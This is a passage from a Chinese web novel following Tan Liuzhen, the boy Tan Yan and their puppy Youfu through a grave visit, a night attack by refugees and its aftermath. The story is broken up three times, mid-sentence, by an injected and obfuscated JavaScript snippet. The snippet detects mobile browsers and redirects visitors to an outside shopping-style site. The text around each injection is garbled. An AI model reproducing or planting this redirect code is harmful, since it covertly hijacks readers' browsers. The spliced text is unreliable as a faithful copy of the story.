她慌慌地看了谭柳真一眼,眼神里带着求助。谭柳真倚在柜台边,愣了愣神,场面一时有些尴尬。 “这孩子,怕是痒痒肉多。”周婶僵着脸笑道。 “我来吧,我来给他量。”谭柳真接过尺子,周婶像是松了口气。 谭晏不敢动,身子像定住了一般。谭柳真的指尖触到他时,他忽觉有什么东西撞进心里。 在脑子里滚烫地翻腾,耳朵里能听见自己擂鼓似的心跳。待谭柳真给他量肩时,发现他耳尖红红的,还以为是冻着了。 “耳朵怎么冻红了?” 谭晏愣了下:“没事。” 他觉得自己不大对劲,但是谭柳真丝毫没有察觉。 …… 当天夜里,谭晏就做了个怪梦。 他觉着自己还在麦田里。许是白天听谭柳真说了太多田里的事。 他梦见自己抡着锄头,一下一下往土里刨。土松软得很,一锄下去能翻起老大一块。他刨得兴起,越刨越快,越刨越来劲。 忽然,他刨着了什么东西。 硬硬的,滑滑的,不是石头。 他蹲下去看,用手扒开土。 土里露出一截白胖胖的东西,圆滚滚的,像个萝卜。他使劲扒,把那东西整个扒出来—— 不是萝卜。 是只脚。 白胖胖的,细细的,脚趾头圆圆的,指甲盖粉粉的。 他顺着那只脚往上看——小腿,膝盖,大腿—— 他猛地抬起头。 谭柳真站在他面前。 她穿着一身他没见过的衣裳,料子软软的,颜色淡淡的,像月光。头发散下来,披在肩上,黑亮亮的。 她看着他,眼睛弯弯的,嘴角带着一抹谭晏从未见过的笑。 “看什么?”她问。 谭晏张了张嘴,想说话,嗓子里却像堵了什么东西,发不出声。 谭柳真往前迈了一步。 他闻到她身上暖暖的香气,像晒过的被子,又像灶房里蒸糕的味道。 她离他很近,近得他能看清她的睫毛,一根一根,弯弯地翘着。 她伸出手,在他脸上摸了摸。 她的手很软,比他想的暖得多,从脸颊滑到脖颈,指腹有些粗,带着薄茧—— 而后她低下头,凑过来—— 谭晏猛地睁开眼。 眼前一片漆黑。 他躺在铺盖上,心跳得跟擂鼓似的,身上出了一层薄汗,某个地方绷得发紧。 他躺着没动,等心跳慢慢平下来。 夜风吹过,门帘轻轻晃动。月亮不知何时躲进云里,院子里黑漆漆的,什么都看不清。 心跳还是很快。脸上烧得厉害,耳朵尖烫得慌。 “这算个什么梦啊……” 他扭头望了眼旁边的屋子,隔着一扇木门,能听见里面均匀的呼吸声。 他觉得自己真的是疯了…… 8.我们是一家人 谭晏抱着被子去了院子里,又搬来一个木盆在里面搓洗。 因为没有热水,手冻得有点红,他忍不住连续打了好几个喷嚏,在瑟瑟的秋风里哆嗦了好几下。 这时他察觉到背后的脚步声,一扭头,谭柳真正散着头发看着他。 谭晏吓了一跳,下意识把被子往盆里按了按,像是要藏起来似的,耳根子倏地红了。 “你大早上的洗什么被子?” 两人对视了好一会,谭柳真对他这幅见鬼的模样感到非常奇怪。山上的天亮的很快,刚才还是漆黑的一片,现在就已是日出正红。薄薄的晨光贴在两人身上。 谭晏不说话,低着头,手指在水里无意识地搅动,耳尖的红蔓延到了脸颊。他能感觉到自己的脸在发烫,恨不得把整个人都埋进木盆里。 毕竟也是当过小孩的人,谭柳真懂他的窘迫。尿床就尿床了吧,好歹还知道自己洗被子,只不过不需要用冷水。烧点温水就是了。 “等会儿用温水洗吧,我去给你烧一壶。”她说着转身要走。 “不、不用了。”谭晏急急开口,声音闷闷的,“马上就洗完了。” 谭柳真看他那副恨不得钻进地缝里的样子,也没再坚持,只是扭头看向房门口,忽然意识到谭晏就这么一直睡在门口,也不太好。地板毕竟还是凉的,等到冬天的时候他必定会感冒。 “你最好还是回自己的房间去睡觉,等到冬天的时候必须去床上睡,老是这样也不太好。” “如果你怕黑的话,我可以给你多点几支蜡烛。不用熄灭就好了。只不过需要关上窗户,免得蜡烛被打翻,有可能起火。” 谭晏的手指绞在一起,他张了张嘴,想说什么又咽了回去。按照平时,他肯定会梗着脖子说不回,但今天他满脑子都是那个梦,只觉得浑身不自在,确实需要离她远一点。 他点了点头,动作轻得几乎看不见。 谭柳真给他加了一壶刚烧的温水就进屋了。谭晏一个人在院子里搓着被子,手是温的了,耳朵却还热着,也不知道是羞的还是被晨光照的。被子在木盆里面搅啊搅,转眼间就晾到了衣杆上。 今天依旧是个艳阳天。 等到下午的时候太阳更大,空气里还吹着一丝丝凉爽的风。衣杆上的被子和买的新衣服都随风轻轻拂动。 桌子上多了些昨天两人从镇上买回来的小糕点。谭晏趴在桌子上,一边看着医书,一边将手中的草药分拣。他分得很慢,时不时走神,手指捏着一株草药半天不动,也不知道在想什么。 不一会谭柳真就背着衣箱回来了,还带来了一只小狗。 那只小狗毛色土黄土黄的,就连眼睛也是浅浅的琥珀色。瞳孔中间一点黑黢黢的小洞。鼻子粉嫩嫩的,看起来呆萌又可爱。 带回来时,它就被谭柳真抱在怀里。一只胳膊枕着它,另一只胳膊扶着不让它掉下来,小狗的鼻子埋在谭柳真的咯吱窝里。圆溜溜的眼睛好奇地东看西看,鼻子一动一动的,有些不安。 “阿晏,我给你带了只小狗回来。” 谭晏抬起头,看见那只小狗的瞬间,眼神亮了一下,又很快别开脸,继续分拣手里的草药。 “这是哪里捡的?”他问,语气淡淡的,但手里的动作停住了。 “不是捡的,就是山下大黄狗的儿子,有点怕人。”谭柳真把小狗放在地上,小梅花脚接触地面的那一瞬间,它愣了好一会。眼神看着有点衰,耳朵耷拉着,一副被人半路拐回来的模样。 谭柳真蹲下身子,手勾搭上小狗的脑袋,上去撸了好几把。小狗被她摸得有些站不稳,踉跄地蹲坐在了地上。谭柳真又叫了一声,这小狗崽子可真可爱。 谭晏的目光不由自主地飘过去,又迅速收回来。他抿了抿唇,站起身走过去,想把小狗抱起来,又不知道该怎么下手,手伸出去又缩回来,最后是小狗自己踉跄着蹭到他脚边,他才弯腰把它抱起。 小狗在他怀里更害怕了,四脚朝天一动也不敢动。 “养这个东西有什么用。”谭晏低着头,手指却轻轻摸了摸小狗的肚子。 “用处可大了。”谭柳真站起身来,继续挑逗他怀里的小狗,“首先可以给你做个伴啊。” “我不需要做伴。”谭晏的声音低下去,手指却还在小狗身上没离开,“这么蠢的东西只会给我捣乱。” 谭柳真看他那副嘴上说不想要,手却舍不得放开的模样,忍不住想笑。 “主要是为了以后安全吧,今天下去都说流民又变多了,进院子偷东西是小事,万一伤到人可问题就大了。它可以看院子,万一半夜有什么东西溜进来了呢?” “它?”谭晏低头看着怀里瑟瑟发抖的小东西,“这么点大的小东西?” “不能打好歹能报信。人鼻子哪能跟狗鼻子相比,人耳朵哪能跟狗耳朵相比,相信我,小狗非常有用。” 谭晏张了张嘴,想说什么,却被谭柳真直接堵死: “你难道害怕狗吗?” 当然不会,看这样子应该是狗怕他才对。 “那它以后就是我们的一员了。得跟它取个名字……”她喃喃道。 “它的眼睛像琥珀,一身黄毛充满神气,肚子吃的圆鼓鼓的,一看就是有福之狗。” “就叫它有福吧。” 谭柳真将有福从谭晏手里夺过,谭晏的手在空中顿了顿,慢慢收回来,插进袖子里。 “谭有福,这是谭晏,这是谭柳真,还有一个谭奶奶……” “谭奶奶?”谭晏歪头看向她,眼里有些疑惑。 谭柳真点了点头,看现在天色还早,今天是个好时机,可以带人去见见。 谭柳真她们住在半山腰,谭奶奶就住在山顶。 一路上,谭晏抱着有福,走得很慢。有福在他怀里不安分地拱来拱去,他也不知道该怎么哄,就那么僵硬地抱着,偶尔低头看一眼,又飞快地移开视线。 等到了山顶,他却只看见一个墓碑。 两人拎了一壶张大娘给的梅子酒过去,还带了一些糕点,有福被谭柳真抱在手里。谭晏走近看去,石碑上刻着的几个大字: “谭佩娥之墓” 除此之外再没有别的东西。 他心里有点空落落,但也确实符合常理,有哪个腿脚不便的老年人会住在山上。 鼎山不是很陡峭,就算到了山顶也只是一块平坦的地。这里除了谭奶奶,还有些许人的墓碑,大多都是山上打猎人家的祖辈。 他们的墓碑上连籍贯和先辈的名字都列得清清楚楚,只有谭佩娥的墓碑上光秃秃的。没有立碑人的名字,没有生卒年月,也没有任何子孙后代的落款。就像这个人从未在这个世界上留下什么痕迹似的。 山顶上的风不是很大,只能微微撩动谭柳真的发丝。 周围的杂草不多,有人用小石子摆成了一条条小道。从前谭柳真一个人上山砍柴的时候,会经过这里顺道看两眼。 谭柳真蹲下身子,将有福放在地上,谭晏将手上的东西一样一样摆在墓碑前,动作很轻,摆完之后又退后半步,不知道该站哪里合适。 “奶奶,我来看你了。”她轻声说道,“这个是阿晏,也是逃荒来的。” “也是?” 谭柳真点了点头。 “我家住在河平县那边,当时爆发了瘟疫,我家里人都染病死了,我就逃到了这,在山上遇到了奶奶。” 风从山顶掠过,带着秋日特有的干燥气息。有福似乎感受到了什么,安静地趴在谭柳真脚边,不再像之前那样瑟瑟发抖。 “奶奶是前几年冬天走的,那天雪下得很大。” 她顿了顿,伸手拔掉墓碑旁刚冒出来的几株野草。 “她无儿无女,一个人住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17213529|197085||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在山上几十年了。我刚来鼎山那会儿,什么都不懂,是她教我认草药,告诉我哪些能卖钱,哪些有毒,哪些能治病。” 谭晏静静听着,目光落在那块墓碑上。他听到谭柳真说家里人全部没了,嘴唇动了动,像是想说什么安慰的话,却一个字也挤不出来,只是把手缩进袖子里,攥紧了。 谭柳真似乎明白他的意思,摇摇头:“都是很久的事了。” 可不能让她继续追问下去自己的事,因为全是编的。 她从怀里掏出一小壶酒,是自己酿的那种,打开塞子,在墓碑前洒了一圈。 “谭奶奶,这是今年的新梅子酒,张大娘给的。” 酒液渗进泥土,散发出淡淡的梅子香气,有福抬起头,鼻子动了动,又趴了回去。 谭晏犹豫了一下,也蹲了下来,从篮子里拿出一块糕点。他掰得很慢,一小块一小块地掰,掰完了放在墓碑前,又觉得放得不够整齐,伸手挪了挪。整个过程他都没抬头,耳根子却红得厉害。 谭柳真看了他一眼,眼里有些意外,又有些温暖。 “但是现在好了,”谭柳真转过头看他,“你是谭晏,我是谭柳真,它是谭有福,咱们都是奶奶的家人。” 有福这时候也站了起来,摇摇晃晃走到墓碑前,抬起后腿,对着墓碑旁边的草丛撒了一泡尿。谭柳真哭笑不得,谭晏也忍不住弯了弯嘴角,又赶紧绷住。 “谭有福!”谭柳真佯怒,“坏狗!” 有福撒完尿,抖了抖腿,回头看了他们一眼,那双琥珀色的眼睛里满是无辜。然后它又摇摇晃晃地走回来,趴在谭晏脚边,这次是真的不动了。 谭晏低头看着它,嘴唇动了动,想说什么嫌弃的话,最后却只是蹲下来,用手指戳了戳有福的脑袋。戳完之后,又飞快地收回手,像是怕被人看见似的。 “走吧,下山了,让奶奶清净清净。” 她将墓碑前的糕点收起来,留了几块在那边,梅子酒也留了一小壶。临走前,她又站了一会儿,像是在跟谭奶奶说话,又像是在发呆。 谭晏抱着有福,站在她身后等着。山顶的视野很好,能看见整个鼎山的轮廓,能看见半山腰那间小院,能看见山脚下蜿蜒的小路,还有更远处的镇子。 下山的路比上山好走,谭柳真走在前面,谭晏抱着有福跟在后面。有福在他怀里睡得很沉,小小的身体一起一伏,温热得很。谭晏低头看了它一眼,嘴角动了动,又很快移开视线,假装什么都没发生过。 院子里晒着草药,散出淡淡的药香。 “阿晏。” “怎么了?” “晚上吃什么?” 谭晏想了想,抬头看她,嘴唇动了动,想说什么,最后只是说:“你做什么我吃什么。” 谭柳真笑了,推开院门:“那我做面条吧,今天在镇上买了肉,可以做个肉臊子。” “行。” 有福这时候醒了,在谭晏怀里挣了挣,要下地。谭晏弯腰把它放下来,动作很轻,放完之后还顺手摸了摸它的脑袋,摸完了才反应过来,赶紧站直身子,装作若无其事的样子。 有福摇摇晃晃走了几步,忽然像发现了什么,一溜烟跑到院子角落,对着一株野草汪汪叫起来。 那叫声奶声奶气的,一点威慑力都没有。 谭柳真和谭晏对视一眼。 “谭有福!”谭柳真喊它,“那是草,不是贼!” 有福不理她,继续对着那株草汪汪叫,叫几声还回头看看他们,像是在邀功。 谭晏站在院子里,看着那只傻狗对着野草叫唤,嘴角终于没忍住,弯了一点点。等发现谭柳真正看着他,又赶紧把嘴角压下去,板着脸往屋里走。 走了两步,又停下来,头也不回地说: “那狗……挺傻的。” 声音很小,像是说给自己听的。 9.流民 半夜谭柳真醒来,是因为一阵细微的窸窣声。 她躺在里屋的床上,眼睛还没睁开,耳朵却已经竖了起来。 那声音很轻,像是老鼠在刨墙根,又像是风吹动了堂屋的窗户纸。她迷迷糊糊地想翻个身继续睡,却忽然听见“吱呀”一声,那是堂屋窗户被推开的声音。 谭柳真的心跳漏了一拍,整个人彻底清醒了。 那绝对是有人翻进屋里来了的声音。因为她明明将所有门窗都关好了,不可能会被风给吹开。 是流民么? 她不敢声张,看见里屋的门虚掩着,门缝里透进一道细长的光,那是堂屋里的月光。她侧耳细听,窸窣声变成了脚步声,很轻,但不止一个人。 她的头上顿时像是被泼了一盆冷水。完了,昨天还说怕有流民,这不会晚上就来捅她们家了。 谭柳真不敢动,甚至连呼吸都放轻了,她的眼睛慢慢往外瞟,那脚步在堂屋顿了顿,然后径直往西屋去了,那是谭晏的屋子。 这下可好,有福就在谭晏屋里,等会它一叫肯定要把人弄醒。 谭晏在自己屋里睡的第一晚就遇上这事,以后还不知道会不会有心理阴影。 门被推开了一条缝,月光从门缝里涌进来,谭柳真鼓起勇气朝跟在他们身后。 但就在这时,堂屋里传来一声低低的呵斥:“小声点,翻东西。” 另一个声音说:“怕什么,就一个女人和小孩,进去搜。” 谭柳真的心提到了嗓子眼。 就在这时,屋里的谭晏动了。 他没有睁眼,没有出声,只是被子底下的身体微微绷紧了。他睡觉从来都是蜷着的,可现在他的姿势变了,像一张绷紧的弓,变成了一种随时可以弹起来的姿态。 谭柳真的大脑飞速运转,离她们家最近的是山上的猎户周叔,赶来他们这大概就一会儿的功夫,只是这对于谭晏来说似乎随时都有可能丧命。 说起来,有福跑哪去了?怎么都到这种地步了也没听见它叫? 随后,谭晏睁开了眼睛。 他直直地盯着那扇门,月光照在他脸上,他突然像变了一个人似的,露出一种谭柳真从未见过的眼神。仿佛真正的猎物在门后,而不是他。 门彻底被推开,三个人影挤了进来,手里拿着棍棒和柴刀。 为首那个提着柴刀的,刀身上还沾着什么黑乎乎的东西。他一进门嘴里就骂骂咧咧地: “起来!都给老子起来!” 谭晏先动了。 他从被子里弹起来的时候,那三个人还没反应过来。 他一把抓起床头的凳子,抡圆了砸向最近的那个人,正中面门。那人惨叫一声,捂着脸往后倒,撞翻了后面的人。谭晏又一脚踢开被子,赤脚踩在地上,身形快得像一道影子。 谭柳真这才发现,她从来不知道谭晏能这么快。 第二个流民举起棍子要打,谭晏侧身躲过,一手扣住他的手腕,一手掐住他的脖子,把人整个抡起来摔在地上。那人的后脑勺撞在炕沿上,发出一声闷响,直接昏了过去。 整个过程不到三个呼吸。 为首的流民终于反应过来,他举起大柴刀,瞪着谭晏,嘴里喘着粗气。 谭晏站在原地,月光从他背后照进来,把他的脸照得半明半暗。他的表情谭柳真看不清,但她看见他的肩膀微微起伏,看见他的手指在身侧慢慢攥紧,然后松开,再攥紧。 那是一种猎手盯着猎物的姿态。 “别动!”流民的声音在发抖,“再动老子砍死你。” 谭晏没说话,只是往前走了一步。 “站住!” 又走了一步。 流民的手抖得更厉害了,他往后退了一步,撞到了身后的桌子。桌上的碗筷哗啦啦掉下来,有一只碗摔碎了,碎片溅到他脚边。他低头看了一眼,再抬起头时,眼里闪过一道狠色。 “妈的,老子砍死你!” 他举起柴刀朝谭晏扑过去。谭晏侧身让过,一把抓住他握刀的手腕,另一只手已经扣上了他的喉咙。 就在这时,谭晏的目光忽然往旁边一偏,觉得这动静怕是要把谭柳真吵醒, 果然,这一偏他就看见了谭柳真。 谭晏的眼神变了。 那一瞬间,他扣在流民喉咙上的手松了一瞬。 流民抓住时机,猛地挣开他的手,手里的柴刀脱手掉在地上,但另一只手已经从腰间摸出一把短刀,朝谭晏捅过去—— “谭晏!” 谭柳真不知道自己是怎么冲出去的。 她扑到谭晏身上,用身体把他往后推。然后她看见那把短刀朝自己刺过来,她下意识抬手去挡。 “啊!” 谭柳真喉咙里发出一声惨叫,刀尖刺穿了她的手背,疼得她眼前发黑。 她低头看见那把刀插在她手背上,刀柄还在抖,血顺着刀身往下流,滴在地上,滴在她的脚上。 然后她听见一声吼。 那不是人的声音,是野兽的。 谭晏一把抱住她,把她护在身后。 她透过谭晏的肩膀看见他朝那个流民扑过去,一拳砸在他脸上,又一拳,又一拳。流民的脸被打得血肉模糊,身体软下去,谭晏却还在打,一拳一拳,骨头撞击肉的声音闷得像敲在棉被上。 “谭晏!谭晏!”谭柳真拼命喊,她用没受伤的手去拉他的胳膊,“别打了!别打!会打死人的!” 谭晏没停。 他骑在那个流民身上,拳头像雨点一样往下砸。那人的脸已经看不清五官了,只有血,到处都是血。 谭柳真看见谭晏的眼睛,那眼睛是红的,里面什么都没有,只有一种让人害怕的空洞。 突然,他抓起了旁边掉落在地上的大柴刀,直直地就要朝地上的人砍去—— “阿晏!” “砰!” 刀口砸在地上,偏了几分,几乎是擦着那流民的脑袋而过,把地板都砸出了一个巨大的窟窿。 谭晏的身子僵住了。 他慢慢转过头,月光照在他溅满血点的脸上。他看了她很久,久到谭柳真以为他认不出自己了。 “阿姐……”他哑着嗓子喊了一声,声音抖得厉害,“你的手……” 那把短刀还插在手背上,血顺着手指往下流,在地上汇成一小滩。 “没事,”她咬着牙说,“没事,不疼。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17216532|197085||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谭晏看着她,眼泪忽然就掉下来了。 门口里传来一阵细碎的动静,谭柳真扭头看去,有福浑身发抖,眼睛里汪着水,呜咽着朝这边看。 它夹着尾巴叫,时不时还回头一看,叫声又尖又急,在夜里传得很远。 门外传来脚步声,有人在喊:“出啥事了?!” 是猎户老周的声音,看样子是有福半夜跑去搬救兵了。 谭柳真道:“周叔,有流民。” 老周提着猎叉跑进来,看见屋里的情形,倒吸一口凉气。他看了看地上的人,又看了看谭晏和谭柳真,说: “你手咋样?没事吧?” 谭柳真强撑着摇了摇头。 “我去叫人,把人送官。” 谭柳真点头,一扭头,谭晏正跌跌撞撞地跑到药屋里去来了凝血药还有布条。 刀子刺穿进去了,得先拔刀。谭晏根据谭柳真的吩咐,从布包里取出一把极薄的小刀,又拿过一个白瓷瓶,倒出些暗褐色的药粉在一个小碗里,用烧酒调开。 “这是麻沸散。” 谭晏的脸色白得像纸,嘴唇抿成一条线,眼睛死死盯着她的手,一眨不眨。 谭柳真深吸一口气, 谭晏的手在发抖,猛地一拔—— 那一瞬间的疼痛像一把火烧进骨头里,从手掌蹿到胳膊,又蹿到肩膀,整个半边身子都麻了。 他把拔出来的刀扔进铜盆里,咣当一声响。谭柳真低头看自己的手,手掌上对穿了一个窟窿,血正从那窟窿里往外冒,能隐约看见里头白生生的骨头。 他扶着谭柳真坐下,手抖得厉害。 半天都系不好一个结。谭柳真看着他,忽然伸手摸了摸他的脸。 谭晏一愣,抬起头。 他的眼睛还是红的,但已经不那么空了,里面有光在闪,有泪在转。 谭晏站起来,他走到那个被打晕的流民跟前,低头看了一眼,然后弯腰捡起地上的柴刀。谭柳真看见他的动作,心里一紧:“阿晏,你要干什么?” 谭晏没说话,他只是握着那把柴刀,站在那儿。月光照在他脸上,把他照得像一尊石像。 谭柳真心底有点怕了,不光是因为流民,更主要是来源于他。 她从没见过谭晏今天的这一副面孔,尤其是当他想发了疯一样地想要向地上的人索命时。 这让谭柳真想起自己的母后养死士的场景, 那是她六七岁的时候, 后殿里站着十几个孩子,小的不过四五岁,大的也才十来岁。他们穿着灰扑扑的衣裳,脸上没有任何表情。殿中央摆着一只笼子,里面关着一只饿狼。 一个男孩走进去,被狼咬住肩膀,却一声不吭,硬生生把狼掐死。出来后,他跪下,母后赏了一盘肉。他抓起肉就往嘴里塞,狼吞虎咽,油顺着嘴角往下流。其他孩子看着,眼睛里什么都没有,像一潭死水。 那些空洞的眼神,她记了很多年。 她忽然想起谭晏身上的那些伤,从前以为是服了苦役,现在看来,到不无可能是经历过别的东西。 谭柳真的手心沁出冷汗。 她看着眼前的少年,忽然不确定自己捡回来的到底是个什么东西。 10.咱家的大功臣 “阿姐,我把他的手割下来给你赔罪。” 谭柳真原本还在疼得发晕,听到这话整个人激灵一下清醒过来。 “你说什么?” 谭晏已经蹲下身去,抓住那流民的手腕,另一只手举起了柴刀。 那流民昏死过去,一点反应都没有,刀锋在月光下闪着寒光。 “等一下!”这么一晚的折腾,谭柳真是真的累了,但她顾不上手上的疼,扑过去一把抱住他的胳膊,“你把刀放下。” 谭晏没动,但刀也没落下去。 谭柳真闭了闭眼,真的是脑壳疼,感觉自己在跟三岁小孩讲道理: “我们不是什么土匪,我们是良民,良民懂不懂?”她苦口婆心地劝道: “报官、送官,官府怎么判怎么是,轮不到我们自己动私刑!” 谭晏的眉头动了一下。 谭柳真见他有所松动,赶紧趁热打铁:“阿晏,你听阿姐的话,这人咱们交给官府,官府会处置他。你把他手砍了,除了出一口气,有什么用?气出了,手也砍了,然后呢?你成了杀人犯,我们这个家就散了。” “我没要杀他。”谭晏说,“只是砍手。” “砍手就不犯法了?”谭柳真气得想敲他脑袋,“砍手也是伤人!再说你看看他这样,血流了一地,你再砍他一只手,他还能活吗?他死了你就是杀人,你知不知道?” 谭晏又不说话了。 谭柳真放缓了语气,把手轻轻覆在他握刀的手上:“阿晏,我知道你是担心我,我心里高兴。但我们不能这么办事。你听我的,把刀放下,好不好?” “疼吗?”他忽然问。 谭柳真愣了一下,顺着他的目光看向自己的手。 “疼。”她老实说,“但你要砍人手,我更疼。” 闻言谭晏斟酌了两下,谭柳真以为他又要犯倔,直到那只紧握着刀柄的手终于松了。 柴刀咣当一声掉在地上,他整个人像是被抽走了什么似的,肩膀塌下来,低下头把脸埋在手心里。 谭柳真看着他,心里说不出是什么滋味。 谭晏似乎和那些死士一样,不知道什么叫对错,还是习惯最初的以血还血,以牙还牙,只知道谁伤了谁,谁就得死。 门外传来细细碎碎的声音,谭有福从门缝里挤进来,浑身发抖,呜咽着跑到谭柳真脚边,拿脑袋蹭她的小腿。 谭柳真低头看它,这小东西尾巴夹得紧紧的,眼睛里汪着水,像是知道家里都经历了什么。 “有福,”谭柳真蹲下身,用没受伤的手摸了摸它的脑袋,“你刚才去哪儿了?” 有福呜呜地叫,拿舌头舔她的手。 谭柳真抬头看谭晏:“是你让它出去叫人的?” 谭晏点点头:“听见动静的时候,我把它从后窗扔出去了。” 谭柳真愣了一下,还好后窗不是很高。 她低头看有福: “你可真行啊,这么小的小脑壳,还知道去搬救兵?” 有福听见她笑,尾巴摇得更欢了,整个屁股都跟着扭起来,嘴里发出高兴的哼哼声。 谭柳真伸手挠它的下巴,有福舒服得直眯眼,往她怀里拱,布条都快散开了。 谭晏走过来,将有福抱走,这小东西不服气地哼了两下,正仰着脸看他,尾巴摇得跟风车似的。 他伸手摸了摸有福的头,动作很轻,和刚才举刀时判若两人。有福高兴得直蹭他,他也没有推开,只是垂着眼睛,不知在想什么。 谭柳真看着这一幕,心里那根绷紧的弦终于松了下来。 门外传来脚步声,老周的声音响起来:“柳真?官差来了!” 谭柳真撑着地站起来,谭晏赶紧扶住她。有福跟在他们脚边,尾巴摇个不停。 院子里站着几个官差,领头的是个三十来岁的汉子,姓陈,是县衙的捕头。 他走进屋,看见地上那三个流民,又看了看谭柳真和谭晏,目光在谭柳真脸上停了一瞬。 陈捕头移开目光,蹲下身去查看那三个流民。一个满脸是血,昏死过去;一个后脑勺撞在炕沿上,也是昏迷;还有一个被谭晏第一下就砸倒了,躺在地上。 “这都是你打的?”陈捕头问谭晏。 谭晏点点头。 陈捕头看了他一眼,没说什么,挥手让人把三个流民抬走。他走到谭柳真跟前,看了看她的手:“伤得不轻,得赶紧找大夫。” “我知道,”谭柳真说,“天亮了就下山。” 陈捕头点点头,往外走了两步,又停下来,回头看了她一眼。 谭柳真心里感觉不对,她站在门口,看着他们的背影消失在夜色里。 天边泛起鱼肚白,村里有公鸡开始打鸣。谭柳真低头看了看自己的手,血又渗出布条来了。 “阿姐,”谭晏说,“下山找大夫。” 谭柳真点点头:“走吧。” 有福也要跟着,被谭柳真拦下了:“你看家。” 有福呜了一声,蹲在门口,眼巴巴看着他们走远。 下山的路不好走,尤其是夜里刚下过露水,石阶上滑得很。谭晏扶着谭柳真,走得很慢,走几步就看看她的手,眉头皱得能夹死蚊子。 “没事,”谭柳真说,“不疼了。” 谭晏不信,但也没说什么,只是把她扶得更紧了些。 走到半山腰的时候,太阳出来了。金红色的光从东边山头上漫过来,照在山路上,照在树叶上,照在他们身上。 谭柳真停下脚步,看着那轮红日一点点升起来。 “阿晏,”她说,“你看,天亮了。” 谭晏顺着她的目光看去,脸上被阳光镀上一层金色。 两人继续往前走,影子在身后拉得长长的。 谭柳真忽然想起来一件事:“对了,你刚才打人的时候,怎么会那么快?我都没看清你就把人撂倒了。” 谭晏沉默了一会儿,说:“我也不记得了,身体的本能反应,可能之前练过。” “练过?在哪儿能练这么厉害?” 谭晏又摇了摇头,谭柳真看看他也是一副非常苦恼的表情,没有再问。 山脚下有个小镇,镇上有个姓刘的老大夫,专治跌打损伤。谭柳真之前来过一次,给谭晏抓过药。 刘大夫看见她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17222649|197085||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的手,倒吸一口凉气:“这是刀扎的?” 谭柳真点点头。 刘大夫把布条解开,看了看那个对穿的窟窿,眉头皱得紧紧的:“这伤得不轻,得好好养,不然这只手就废了。” “啊。”谭柳真应了一声,果然和她料想的一样。尤其是马上就要入冬,很有可能就会冻伤。 没事,这手要是废了,还有左手,左手也能把脉。 谭晏站在旁边,脸色白得吓人。 刘大夫重新给她清洗伤口、上药、包扎,一边包一边念叨:“怎么伤的?遇上流民了?听说昨晚县里抓了几个,是不是你们那儿?” 谭柳真应了一声。 刘大夫摇摇头:“这年头,不太平啊。你们住在山上,得当心。” 刘大夫又开了几副药,嘱咐她三天后来换药,这段时间别碰水,别用力。 谭晏把药包好,扶着谭柳真出来。 太阳已经完全升起来了,街上开始热闹起来,卖早点的摊子冒着热气,有人在吆喝,有人在讨价还价。 谭柳真站在街边,看着来来往往的人,忽然觉得有点不真实。 昨天晚上,她还差点死在那把刀下。 这会儿,她却站在这里,看着人间烟火。 “阿姐,”谭晏说,“饿不饿?” 谭柳真这才想起来,折腾了一夜,什么都没吃。谭晏这阿姐叫得也是越来越顺口了。 “饿了,”她说,“吃点东西去。” 两人找了个馄饨摊,要了两碗馄饨。热腾腾的馄饨端上来,谭柳真用左手拿勺子,笨手笨脚地舀了一个,送进嘴里。 烫的,但是很好吃。 听老板说里面的肉馅都是今天刚剁的,就连碗底的汤都很鲜美。 谭晏低头吃馄饨,吃得很快,但不像从前那样狼吞虎咽,他学会慢慢吃了。时不时还看谭柳真一两眼,打量她的手方不方便。 而且说话好像也好了点,不再那么扭扭咧咧像个未开智的小男孩。 谭柳真看着他,忽然笑了。 谭晏抬头:“笑什么?” “没什么,”谭柳真说,“今天你是大功臣,你想要什么奖励?” 谭晏抬头,谭柳真笑眯眯地用左手又舀了一个馄饨,送进嘴里。 谭晏道:“阿姐也是大功臣。” 说完这句,谭晏的脸腾地红了。 他低着头,耳朵尖儿都在发烫,谭柳真笑眯眯地看着他,果然有些东西还是没变。 昨晚那个三拳两脚撂倒三个流民的狠人,这会儿连抬头看她都不敢。 “那今天都买点喜欢的回去。”她说。 过了一会,她找老板要了一个打包盒,打包了一碗新鲜的饺子馅。 谭晏这才抬起头,小声问:“阿姐……这是干什么?” “有福是搬救兵大功臣。”她笑道,“给它也带点好吃的。” 谭晏的眼睛亮了一下,嘴角微微翘起来,但很快就抿住了。 馄饨摊的老板是个爽利的大婶,看见谭柳真打包饺子馅,笑道:“姑娘,家里养了狗吧?我这馅可是今早新剁的,保管你家狗爱吃。” 11.待续 谭柳真笑着应道:“借您吉言,那小家伙嘴刁得很。” 大婶又给她多添了一勺汤:“看你手伤了,路上小心些。这年头,能有个忠心护主的狗,是福气。” 谭柳真道了谢,和谭晏往回走。 